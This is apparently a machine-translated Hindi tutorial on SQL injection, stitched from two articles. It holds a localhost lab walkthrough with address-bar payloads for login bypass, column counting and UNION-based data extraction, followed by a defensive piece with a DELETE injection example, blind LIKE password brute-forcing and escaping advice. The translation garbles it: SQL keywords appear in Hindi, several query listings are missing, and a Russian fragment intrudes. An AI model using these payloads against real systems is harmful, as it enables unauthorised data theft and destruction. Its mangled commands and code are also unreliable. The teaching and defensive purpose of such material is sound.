शब्द चुनना SQL क्वेरी में यह पता चलता है कि किस डेटा को पुनर्प्राप्त करने की आवश्यकता है। उदाहरण के लिए, आप SELECT नाम, या SELECT नाम, पासवर्ड निर्दिष्ट कर सकते हैं। फिर पहले मामले में तालिका से केवल नाम प्राप्त होगा, और दूसरे में - केवल नाम और पासवर्ड। तारांकन कहता है कि आपको सभी मान प्राप्त करने की आवश्यकता है। वे। चयन करें * - इसका अर्थ है सभी मान प्राप्त करना।

सेबताता है कि आपको उन्हें कहां से प्राप्त करने की आवश्यकता है। FROM के बाद तालिका का नाम आता है, यानी FROM `सदस्य` प्रविष्टि कहती है कि `सदस्य` तालिका से प्राप्त करें।

आगे कहाँ, यदि आपने किसी प्रोग्रामिंग भाषा का अध्ययन किया है, तो यह शब्द "If" से सबसे अधिक मिलता जुलता है। और फिर स्थितियाँ हैं, ये स्थितियाँ सत्य (1) या ग़लत (0) हो सकती हैं। हमारे मामले में

(नाम = '$नाम') और (पासवर्ड ='$पासवर्ड')

इसका मतलब है कि स्थिति सत्य होगी यदि पारित चर $name तालिका में नाम फ़ील्ड के मान के बराबर है और पारित चर '$password तालिका में पासवर्ड फ़ील्ड के मान के बराबर है। यदि कम से कम एक शर्त पूरी नहीं हुई है (गलत उपयोगकर्ता नाम या पासवर्ड), तो तालिका से कुछ भी नहीं लिया जाएगा, यानी अभिव्यक्ति SELECT * FROM `members` WHERE name = '$name' ANDpassword ='$password' का अर्थ है: में `सदस्य` तालिका, सभी फ़ील्ड के मान लें यदि उनके लिए शर्त पूरी होती है - पारित उपयोगकर्ता नाम और पासवर्ड तालिका में पाए गए से मेल खाते हैं।

यह स्पष्ट है। आइए अब, उदाहरण के लिए, उपयोगकर्ता नाम के साथ एक उद्धरण डालें:

पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

कोई डेटा प्राप्त नहीं हुआ, इसके बजाय हमें एक त्रुटि दिखाई देती है:
जब हमने सही डेटा दर्ज किया, तो हमारा अनुरोध इस तरह दिखता था:
एक उद्धरण जोड़ने पर, हमारी क्वेरी बन जाती है:
मैं स्पष्टता के लिए अतिरिक्त स्थान रखता हूं, यानी हमें अनुरोध मिलता है
वैसे, सिंटैक्स में अनुरोध सही है। और इसके तुरंत बाद, बिना किसी विभाजक के, अनुरोध जारी रहता है:

"और पासवर्ड = "111"

यह वही है जो सब कुछ तोड़ देता है, क्योंकि शुरुआती और समापन उद्धरणों की संख्या समान नहीं है। उदाहरण के लिए, आप एक और उद्धरण सम्मिलित कर सकते हैं:
पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

त्रुटि गायब हो गई, लेकिन इससे अनुरोध में कोई अर्थ नहीं जुड़ा। अनुरोध की निरर्थक पूँछ हमें परेशान कर रही है। हम इससे कैसे छुटकारा पा सकते हैं?

एक उत्तर है - ये टिप्पणियाँ हैं।

MySQL में टिप्पणियाँ तीन तरीकों से निर्दिष्ट की जा सकती हैं:

  1. # (हैश - पंक्ति के अंत तक काम करता है)
  2. - (दो डैश - पंक्ति के अंत तक काम करें, आपको दो डैश के बाद एक स्पेस कैरेक्टर की आवश्यकता है)
  3. /* यह एक टिप्पणी है */ चार वर्णों का एक समूह - अंदर की हर चीज़ एक टिप्पणी है, वर्णों के इस समूह के पहले या बाद की हर चीज़ को एक टिप्पणी नहीं माना जाता है।
आइए अपनी क्वेरी में एक उद्धरण के साथ एक टिप्पणी डालें, इस उद्धरण के बाद हम पूंछ को हटाने के लिए एक टिप्पणी चिह्न और एक + चिह्न लगाते हैं, जो एक स्थान को दर्शाता है, ताकि क्वेरी इस तरह निकले:
पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'-+&password=111

न केवल त्रुटि गायब हो गई, बल्कि डेमो उपयोगकर्ता के लिए सही डेटा प्रदर्शित हुआ। चूँकि अब हमारे अनुरोध ने रूप ले लिया है
आख़िरकार, पोनीटेल -+ 'और पासवर्ड ='111'एक टिप्पणी में बदल गया और अब अनुरोध को प्रभावित नहीं करता।

नए अनुरोध पर एक और नज़र डालें:
और यह अब पासवर्ड की जाँच नहीं करता है! वे। वैध उपयोगकर्ताओं के नाम जानने के बावजूद, लेकिन उनके पासवर्ड न जानने के कारण, हम उनका व्यक्तिगत डेटा देख सकते हैं। वे। हमने पहले ही SQL इंजेक्शन का उपयोग करना शुरू कर दिया है।

दुर्भाग्य से, मैं किसी भी वैध नाम के बारे में नहीं जानता और मुझे कुछ और लेकर आने की जरूरत है।

आइए अनुरोध के इस भाग पर करीब से नज़र डालें:
क्या आपको वह AND याद है जिसका उपयोग पहली क्वेरी में किया गया है? यह तार्किक और संचालन के लिए है। मैं आपको याद दिला दूं कि तार्किक ऑपरेशन "AND" "सत्य" (1) तभी उत्पन्न करता है जब दोनों अभिव्यक्तियाँ सत्य हों। लेकिन तार्किक ऑपरेटर "OR" "सही" (1) उत्पन्न करता है, भले ही कम से कम एक अभिव्यक्ति सत्य हो। वे। अभिव्यक्ति
हमेशा सत्य होगा हमेशा 1 लौटाएगा। क्योंकि तुलना की जा रही दो अभिव्यक्तियों में से एक हमेशा 1 लौटाएगा।

वे। हमें एक अभिव्यक्ति बनाने की आवश्यकता है जो इस तरह दिखे:
पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo' या 1 -+ &password=111

परिणाम:

परिणाम उत्कृष्ट है! हमें तालिका में सभी रिकॉर्ड की एक सूची प्राप्त हुई।

ORDER BY और UNION SQL इंजेक्शन के मुख्य मित्र हैं

हमें पहले ही वह डेटा प्राप्त हो चुका है जो उन लोगों के लिए पहुंच योग्य नहीं था जिनके पास वैध उपयोगकर्ता नाम और पासवर्ड नहीं था। क्या कुछ और है जो मुझे मिल सकता है? हां, आप इस तालिका का पूरा डंप प्राप्त कर सकते हैं (मैं आपको याद दिला दूं, हमारे पास अभी भी पासवर्ड नहीं हैं। इसके अलावा, हम इस सर्वर पर सभी डेटाबेस से सभी डेटा एक छोटे से छेद के माध्यम से प्राप्त कर सकते हैं!

मिलनआपको SQL क्वेरीज़ को संयोजित करने की अनुमति देता है। वास्तविक जीवन में, मेरे कार्य सरल हैं, और इसलिए डेटाबेस और क्षमताओं से संबंधित प्रश्न भी सरल हैं मिलनमैं इसका उपयोग नहीं करता. लेकिन SQL इंजेक्शन के लिए इससे अधिक मूल्यवान कोई शब्द नहीं है।

मिलनआपको विभिन्न डेटाबेस सहित SQL क्वेरीज़ को SELECT के साथ काफी लचीले ढंग से संयोजित करने की अनुमति देता है। लेकिन एक महत्वपूर्ण सिंटैक्स आवश्यकता है: पहले SELECT में कॉलम की संख्या दूसरे SELECT में कॉलम की संख्या के बराबर होनी चाहिए।

द्वारा आदेशतालिका से प्राप्त डेटा की छँटाई सेट करता है। आप कॉलम के नाम या उसकी संख्या के आधार पर क्रमबद्ध कर सकते हैं। इसके अलावा, यदि इस संख्या वाला कोई कॉलम नहीं है, तो एक त्रुटि दिखाई जाएगी:

पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ 1 द्वारा ऑर्डर करें -+ &password=111

अनुरोध इस प्रकार दिखता है:
हमने उपयोगकर्ता नाम को -1 से बदल दिया ताकि कोई डेटा प्रदर्शित न हो।

कोई त्रुटि नहीं है, अनुरोधों में भी कोई त्रुटि नहीं है
और यहाँ अनुरोध है
यह एड्रेस बार से मेल खाता है

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ 6 तक ऑर्डर करें -+ &password=111

मुझे एक त्रुटि मिली

इसका मतलब है कि डेटा को तालिका से पांच कॉलम में चुना गया है।

हम यूनियन के साथ अपनी क्वेरी बनाते हैं:

जैसा कि मैंने कहा, दोनों SELECTs में फ़ील्ड की संख्या समान होनी चाहिए, लेकिन इन फ़ील्ड में क्या है यह बहुत महत्वपूर्ण नहीं है। उदाहरण के लिए, आप बस संख्याएं दर्ज कर सकते हैं - और ये वही हैं जो प्रदर्शित किए जाएंगे। आप NULL दर्ज कर सकते हैं - फिर फ़ील्ड के बजाय कुछ भी प्रदर्शित नहीं किया जाएगा।
पता पट्टी:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ यूनियन सेलेक्ट 1,2,3,4,5 -+ &password=111

स्तंभों की संख्या ज्ञात करने का दूसरा तरीका समान यूनियन का उपयोग करना है। सीढ़ी का उपयोग करके हम स्तंभों की संख्या जोड़ते हैं:
वे सभी एक ही त्रुटि उत्पन्न करेंगे:

ऐसा तब तक करें जब तक त्रुटि संदेश गायब न हो जाए।

कृपया ध्यान दें कि कुछ UNION SELECT 1,2,3,4,5 फ़ील्ड की सामग्री स्क्रीन पर प्रदर्शित होती है। संख्याओं के बजाय, आप फ़ंक्शंस निर्दिष्ट कर सकते हैं।

SELECT में क्या लिखना है

ऐसे कुछ फ़ंक्शन हैं जिन्हें सीधे UNION में लिखा जा सकता है:

  • डेटाबेस()- वर्तमान डेटाबेस का नाम दिखाएं
  • तात्कालिक प्रयोगकर्ता()- उपयोगकर्ता नाम और होस्टनाम दिखाता है
  • @@डेटादिर- डेटाबेस के लिए पूर्ण पथ प्रदर्शित करता है
  • उपयोगकर्ता()- उपयोगकर्ता नाम
  • संस्करण()- डेटाबेस संस्करण
हमारे उदाहरण में, फ़ील्ड 2, 4 और 5 प्रदर्शित होते हैं। हम इनमें से किसी भी फ़ील्ड का उपयोग कर सकते हैं.

यूनियन सेलेक्ट में डेटाबेस() का उपयोग करना

पता:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ यूनियन सेलेक्ट 1,2,3,4,DATABASE() -+ &password=111

परिणाम:

तालिका नाम, फ़ील्ड और डेटाबेस डंप प्राप्त करना

डेटाबेस में सूचना_स्कीमावहां एक टेबल है जिसे कहा जाता है टेबल. इस तालिका में उन सभी तालिकाओं की सूची है जो इस सर्वर पर सभी डेटाबेस में मौजूद हैं। हम फ़ील्ड में खोज कर अपनी तालिकाएँ चुन सकते हैं टेबल_स्कीमाहमारे डेटाबेस का नाम 'db_library' है (हमने DATABASE() का उपयोग करके नाम पाया)।

इसे पूर्ण यूनियन तकनीक कहा जाता है। इंटरनेट पर इस पर काफी सामग्री मौजूद है. मेरे MySQL सर्वर पर, पूर्ण UNION तकनीक काम नहीं करती है। मुझे एक त्रुटि मिल रही है
यह भुजाओं की वक्रता के कारण काम नहीं करता है, क्योंकि यह तकनीक sqlmap के लिए भी परिणाम नहीं लाती है:

पूर्ण UNION तकनीक में कुछ गलत हो गया (प्रविष्टियों की पुनर्प्राप्त संख्या पर सीमा के कारण हो सकता है)। आंशिक यूनियन तकनीक पर वापस लौटना

यह MySQL संस्करण 5.6 के कारण हो सकता है। क्योंकि मैं व्यावहारिक उदाहरण नहीं दे सकता, और मुझे अन्य लोगों के टूटे हुए आदेशों को फिर से लिखने में कोई दिलचस्पी नहीं है - अब, मेरे बिना भी, इंटरनेट पर जितने चाहें उतने "महान सिद्धांतकार" हैं, इसलिए मैंने तुरंत आगे बढ़ने का फैसला किया आंशिक यूनियन तकनीक पर विचार करते हुए। लेकिन यह सबसे सरल तकनीक नहीं है, और लेख पहले से ही काफी लंबा है।

लेख के अगले भाग में हम आंशिक UNION तकनीक का अध्ययन करेंगे, इसकी मदद से हम सर्वर पर सभी डेटा प्राप्त करेंगे: डेटाबेस के नाम, इन तालिकाओं में उनकी तालिकाओं और फ़ील्ड के नाम, साथ ही उनकी सामग्री भी। . जब आप दूसरे भाग के प्रकट होने की प्रतीक्षा करते हैं, तो अभ्यास करें, SQL इंजेक्शन और UNION तकनीक के बारे में पढ़ें; निम्नलिखित लेख भी पढ़ने के लिए अनुशंसित हैं:

पी.एस. अरे हाँ, मैं LIMIT के बारे में भूल गया। अगली बार मैं SQL इंजेक्शन में LIMIT की भूमिका के बारे में भी बात करूंगा।

SQL इंजेक्शन - डेटाबेस क्वेरीज़ में दुर्भावनापूर्ण कोड को एम्बेड करना - सबसे खतरनाक प्रकार का हमला है। SQL इंजेक्शन का उपयोग करके, एक हमलावर न केवल डेटाबेस से निजी जानकारी प्राप्त कर सकता है, बल्कि कुछ शर्तों के तहत, वहां बदलाव भी कर सकता है।

SQL इंजेक्शन भेद्यता इसलिए होती है क्योंकि उपयोगकर्ता की जानकारी उचित प्रसंस्करण के बिना डेटाबेस क्वेरी में शामिल की जाती है: यह सुनिश्चित करने के लिए कि स्क्रिप्ट असुरक्षित नहीं है, यह सुनिश्चित करना आवश्यक है कि सभी उपयोगकर्ता डेटा सभी डेटाबेस क्वेरी में एस्केप्ड फॉर्म में समाप्त हो। सार्वभौमिकता की आवश्यकता आधारशिला है: एक स्क्रिप्ट में किया गया उल्लंघन पूरे सिस्टम को असुरक्षित बना देता है।

भेद्यता का उदाहरण

आइए मान लें कि एक स्क्रिप्ट है जो किसी दिए गए शहर के उपयोगकर्ताओं की एक सूची प्रदर्शित करती है, शहर आईडी को GET पैरामीटर के रूप में लेती है। स्क्रिप्ट को HTTP के माध्यम से /users.php?cityid=20 पर एक्सेस किया जाएगा

उपरोक्त स्क्रिप्ट में, डेवलपर SQL क्वेरी में एक GET पैरामीटर सम्मिलित करता है, जिसका अर्थ है कि GET पैरामीटर में हमेशा एक संख्या होगी। एक हमलावर एक स्ट्रिंग को पैरामीटर के रूप में पास कर सकता है और इस प्रकार अनुरोध को दूषित कर सकता है। उदाहरण के लिए, यह स्क्रिप्ट को /users.php?cityid=20; के रूप में एक्सेस करेगा। उपयोगकर्ताओं से * हटाएँ
SQL क्वेरी इस तरह दिखेगी:

अनुरोध निष्पादित किया जाएगा, और स्क्रिप्ट न केवल निर्दिष्ट शहर के उपयोगकर्ताओं को वापस कर देगी, बल्कि उन सभी उपयोगकर्ताओं की एक सूची भी लौटा देगी जिनका पासवर्ड उनके वास्तविक नाम के बजाय प्रदर्शित किया जाएगा।

अपनी सुरक्षा कैसे करें?

आइए उपयोगकर्ता की जानकारी को सिंगल कोट्स में संलग्न करें। क्या इससे मदद मिलेगी?

उपरोक्त उदाहरण से, आप देख सकते हैं कि एकल उद्धरण संलग्न करना पर्याप्त नहीं है। आपको स्ट्रिंग में मौजूद किसी भी उद्धरण से भी बचना होगा। ऐसा करने के लिए, PHP mysql_real_escape_string() फ़ंक्शन प्रदान करता है, जो प्रत्येक उद्धरण, बैककोट और कुछ अन्य विशेष वर्णों से पहले एक बैकस्लैश जोड़ता है। आइए कोड देखें:

इसलिए, SQL इंजेक्शन से बचाने के लिए, सभी बाहरी पैरामीटर जिनमें टेक्स्ट हो सकता है, का उपयोग करके संसाधित किया जाना चाहिए mysql_real_escape_string() और सिंगल कोट्स में संलग्न हैं।

यदि आप जानते हैं कि किसी पैरामीटर को एक संख्यात्मक मान लेना चाहिए, तो इसे फ़ंक्शन का उपयोग करके स्पष्ट रूप से संख्यात्मक रूप में परिवर्तित किया जा सकता है अंतराल()या फ्लोटवल(). इस उदाहरण में हम इसका उपयोग कर सकते हैं:

$एसक्यूएल= "उपयोगकर्ता नाम, वास्तविक नाम चुनें
उपयोगकर्ताओं से
कहां शहरआईडी=''
.अंतराल ( $_GET ["सिटीआईडी" ] ) .""" ;

Mysql_real_escape_string() और mysql_escape_string() के बीच अंतर

mysql_real_escape_string() mysql_escape_string() फ़ंक्शन का एक उन्नत संस्करण है, जिसका व्यापक रूप से MySQL डेटाबेस में सुरक्षित क्वेरी उत्पन्न करने के लिए उपयोग किया जाता है। इन दोनों फ़ंक्शंस के बीच अंतर यह है कि mysql_real_escape_string() मल्टी-बाइट एन्कोडिंग के साथ सही ढंग से काम करता है।

मान लीजिए कि संसाधित किए जा रहे डेटा में एक वर्ण है (मान लीजिए, यूटीएफ -8 में), जिसके कोड में दो बाइट्स हैं - हेक्साडेसिमल 27 और 2बी (क्रमशः दशमलव 39 और 43)। mysql_escape_string() उसे भेजे गए डेटा के प्रत्येक बाइट को एक अलग वर्ण के रूप में मानता है (अधिक सटीक रूप से, एक अलग वर्ण के कोड के रूप में) और निर्णय लेता है कि बाइट्स 27 और 2B का अनुक्रम दो अलग-अलग वर्ण हैं: एक एकल उद्धरण (") और एक प्लस (+)। क्योंकि फ़ंक्शन एक उद्धरण को एक विशेष वर्ण के रूप में स्वीकार करता है, कोड 27 के साथ बाइट से पहले एक स्लैश (\) जोड़ा जाएगा, जो वास्तव में कुछ हानिरहित चरित्र का हिस्सा है। परिणामस्वरूप, डेटा भेजा जाएगा डेटाबेस विकृत रूप में.

यह ध्यान देने योग्य है कि mysql_real_escape_string() सभी मामलों में सही ढंग से काम करता है और mysql_escape_string() को पूरी तरह से बदल सकता है।

mysql_real_escape_string() संस्करण 4.3.0 से PHP में उपलब्ध है।

अतिरिक्त उदाहरण

हमने सबसे सरल उदाहरण देखा है, लेकिन व्यवहार में एक कमजोर क्वेरी अधिक जटिल हो सकती है और उपयोगकर्ता को इसके परिणाम प्रदर्शित नहीं कर सकती है। आगे, हम पूर्णता का दावा किए बिना, कुछ अधिक जटिल मामलों में SQL इंजेक्शन के उदाहरणों पर विचार करेंगे।

जटिल प्रश्नों में इंजेक्शन

सबसे सरल उदाहरण में, SQL क्वेरी के अंत में कोड एम्बेड करना संभव था। व्यवहार में, SQL क्वेरी के अंत में अतिरिक्त शर्तें, सॉर्टिंग ऑपरेटर, ग्रुपिंग और अन्य SQL संरचनाएं हो सकती हैं। प्रत्येक विशिष्ट मामले में, हमलावर एक दुर्भावनापूर्ण टुकड़े को इस तरह से एम्बेड करने का प्रयास करेगा कि अनुरोध समग्र रूप से वाक्यात्मक रूप से सही रहे, लेकिन एक अलग कार्य करे। यहां हम एक अतिरिक्त शर्त के साथ असुरक्षित अनुरोध का सबसे सरल उदाहरण देखेंगे।

परिणामस्वरूप, उम्र की स्थिति<35 नमूने पर कोई प्रभाव नहीं पड़ेगा, क्योंकि OR ऑपरेटर की AND ऑपरेटर की तुलना में कम प्राथमिकता है, और उपरोक्त क्वेरी से WHERE को अलग तरीके से लिखा जा सकता है कहां (cityid='20' और 1 ) या ('1' और उम्र<"35" ) (याद रखें कि WHERE 1 अभिव्यक्ति हमेशा सत्य होती है)। परिणामस्वरूप, सिटीआईडी='20' वाली और उम्र वाली दोनों पंक्तियाँ स्थिति में फिट होंगी<35, причем наличие последних не обязательно.

जटिल प्रश्नों के लिए, सफल SQL इंजेक्शन के लिए कुछ रचनात्मकता की आवश्यकता होती है, लेकिन हमलावरों से कुछ रचनात्मकता की उम्मीद की जा सकती है।

क्वेरी परिणाम उपयोगकर्ता को प्रदर्शित नहीं होते हैं

ऐसा हो सकता है कि कोई क्वेरी जिसके परिणाम उपयोगकर्ता को प्रदर्शित न हों, असुरक्षित हो। उदाहरण के लिए, यह एक सहायक क्वेरी हो सकती है:

$एसक्यूएल= "चयन गिनती(*)
उपयोगकर्ताओं से
कहां उपयोगकर्ता आईडी = ""
.$_GET ["यूजरआईडी" ] ।""" ;

ऊपर दी गई क्वेरी किसी दिए गए उपयोगकर्ता आईडी वाले उपयोगकर्ता की उपस्थिति की जांच करती है: यदि यह कोई गैर-शून्य मान लौटाता है, तो संबंधित उपयोगकर्ता आईडी वाला उपयोगकर्ता प्रोफ़ाइल दिखाया जाता है, लेकिन यदि 0 लौटाया जाता है (अर्थात, कोई उपयोगकर्ता संतुष्ट नहीं है) अनुरोध मानदंड), संदेश "उपयोगकर्ता नहीं मिला" प्रदर्शित होता है।

इस मामले में, पासवर्ड (या अन्य जानकारी) क्रूर बल द्वारा निर्धारित किया जाता है। हमलावर स्ट्रिंग को उपयोगकर्ता आईडी पैरामीटर के रूप में पास करता है 2" और पासवर्ड जैसे "a%. अंतिम अनुरोध:

उपयोगकर्ताओं से गिनती (*) चुनें जहां उपयोगकर्ता आईडी ="2" और पासवर्ड जैसे "a% "

यदि पासवर्ड "ए" अक्षर से शुरू नहीं होता है, या अन्यथा मानक उपयोगकर्ता प्रोफ़ाइल पृष्ठ से शुरू नहीं होता है, तो हमलावर को "उपयोगकर्ता नहीं मिला" प्राप्त होगा। पासवर्ड का पहला अक्षर क्रूर बल द्वारा निर्धारित किया जाता है, फिर दूसरा, आदि।

निष्कर्ष

  • बाहरी डेटा का उपयोग करने वाली सभी क्वेरीज़ को SQL इंजेक्शन से संरक्षित किया जाना चाहिए। बाहरी डेटा को न केवल GET पैरामीटर के रूप में प्रसारित किया जा सकता है, बल्कि POST विधि का उपयोग करके, COOKIE से, तृतीय-पक्ष साइटों से, या किसी डेटाबेस से लिया जा सकता है जिसमें उपयोगकर्ता को जानकारी दर्ज करने का अवसर मिला था।
  • सभी संख्यात्मक मापदंडों को फ़ंक्शंस का उपयोग करके स्पष्ट रूप से संख्यात्मक रूप में परिवर्तित किया जाना चाहिए अंतराल()और फ्लोटवल()
  • सभी स्ट्रिंग पैरामीटर से बच जाना चाहिए mysql_real_escape_string()और इसे उद्धरण चिह्नों में रखें।
  • यदि SQL इंजेक्शन का निर्माण करना कठिन है, तो आपको यह उम्मीद नहीं करनी चाहिए कि हमलावर यह नहीं समझ पाएगा कि इसे कैसे करना है। यह विशेष रूप से उन इंजनों पर लागू होता है जिनका स्रोत कोड सार्वजनिक है।

सुरक्षित एप्लिकेशन बनाने के लिए शुभकामनाएँ!